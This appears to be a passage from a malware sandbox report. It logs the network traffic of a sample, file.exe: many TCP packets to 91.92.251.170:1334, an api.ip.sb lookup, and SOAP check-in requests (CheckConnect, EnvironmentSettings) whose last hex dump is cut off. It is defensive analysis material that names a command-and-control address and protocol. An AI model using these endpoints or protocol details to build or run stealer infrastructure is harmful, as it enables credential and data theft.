Sep 24, 2024 22:31:15.481642962 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481652021 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481704950 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481719971 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481726885 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481736898 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481777906 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481800079 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481811047 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481818914 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481856108 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481865883 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481874943 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481893063 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481910944 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481919050 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481937885 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481965065 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481983900 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481992006 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482028961 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482038975 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482047081 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482093096 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482110023 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482117891 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482135057 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482144117 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482194901 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482227087 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482234001 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482249975 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482258081 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482264042 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482290030 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482316017 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482350111 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482361078 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482404947 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482420921 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482429981 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482446909 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482467890 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482485056 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482511044 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482525110 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482534885 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482542038 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482559919 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482569933 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482575893 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482595921 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482605934 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482614040 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482621908 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482650042 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482669115 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482680082 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482693911 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482702971 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482716084 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482726097 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482737064 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482753992 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482762098 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482769966 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482781887 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482790947 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482806921 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482819080 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482830048 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482836962 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482875109 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482882977 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482903957 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482911110 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482930899 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482944965 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482959032 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482969046 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.482984066 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.482990980 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.483000040 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.483020067 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.483026981 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.483035088 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.483043909 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.483059883 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.483067989 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.483074903 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.483093977 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.483108044 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.483129025 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.484056950 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484110117 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.484369040 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484416962 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.484426975 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484452963 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484463930 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484467030 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484539986 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484543085 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484545946 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484585047 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484648943 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484652042 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484657049 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484730959 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484740019 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484749079 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484827995 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.484869003 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484879017 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484885931 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484894991 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484910011 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484920979 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.484936953 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484945059 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.484958887 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.484968901 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484982967 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.484992027 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.484998941 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485007048 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485018015 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485029936 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485039949 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485049963 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485074997 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485105038 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485112906 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485116959 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485120058 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485122919 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485131025 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485135078 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485138893 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485141993 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485153913 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485162020 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485178947 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485187054 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485194921 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485203028 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485239029 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485268116 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485285997 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485294104 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485301018 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485308886 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485328913 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485341072 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485352039 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485369921 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485379934 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485394001 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485411882 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485419989 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485429049 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485439062 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485462904 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485482931 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485519886 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485528946 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485536098 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485546112 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485553980 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485568047 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485578060 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485588074 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485594988 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485610008 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485635996 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485646963 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485656023 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485670090 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485677958 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485699892 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485722065 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485735893 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485744953 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485760927 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485769033 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485775948 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485790014 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485812902 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485826015 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485833883 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485845089 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485853910 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485873938 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485884905 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485893011 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485903025 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485924959 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485934019 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485943079 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.485965967 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485974073 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.485990047 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486016035 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486030102 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486037970 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486046076 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486063004 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486073971 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486088037 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486094952 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486104965 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486114025 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486124039 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486138105 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486156940 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486166954 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486176014 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486186981 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486196995 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486207008 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486213923 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486223936 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486243963 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486255884 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486264944 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486273050 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486279964 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486290932 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486298084 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486320972 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486331940 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486345053 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486350060 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486368895 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486377001 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486392975 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486416101 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.486475945 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486483097 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486486912 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486490011 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486498117 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486506939 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486515045 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486521959 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486547947 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486557007 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486562014 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486565113 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486584902 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486609936 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486639023 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486646891 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486676931 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486685991 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486701965 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486731052 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486759901 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486785889 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486830950 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486839056 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486871004 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486879110 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486908913 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.486937046 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.527648926 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.594356060 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.647265911 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:16.655853987 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:16.682900906 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:16.682955980 CEST	49733	1334	192.168.2.4	91.92.251.170

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 22:31:10.518235922 CEST	61572	53	192.168.2.4	1.1.1.1
Sep 24, 2024 22:31:22.655128956 CEST	53	53384	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 24, 2024 22:31:10.518235922 CEST	192.168.2.4	1.1.1.1	0xeead	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 24, 2024 22:31:10.525449038 CEST	1.1.1.1	192.168.2.4	0xeead	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

91.92.251.170:1334

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	91.92.251.170	1334	6724	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 24, 2024 22:31:04.007755041 CEST	239	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 91.92.251.170:1334 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Sep 24, 2024 22:31:04.601558924 CEST	25	IN	HTTP/1.1 100 Continue
Sep 24, 2024 22:31:04.729326963 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 25 Sep 2024 03:15:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Sep 24, 2024 22:31:10.122539997 CEST	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 91.92.251.170:1334 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Sep 24, 2024 22:31:10.292359114 CEST	25	IN	HTTP/1.1 100 Continue
Sep 24, 2024 22:31:10.474565029 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 25 Sep 2024 03:15:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 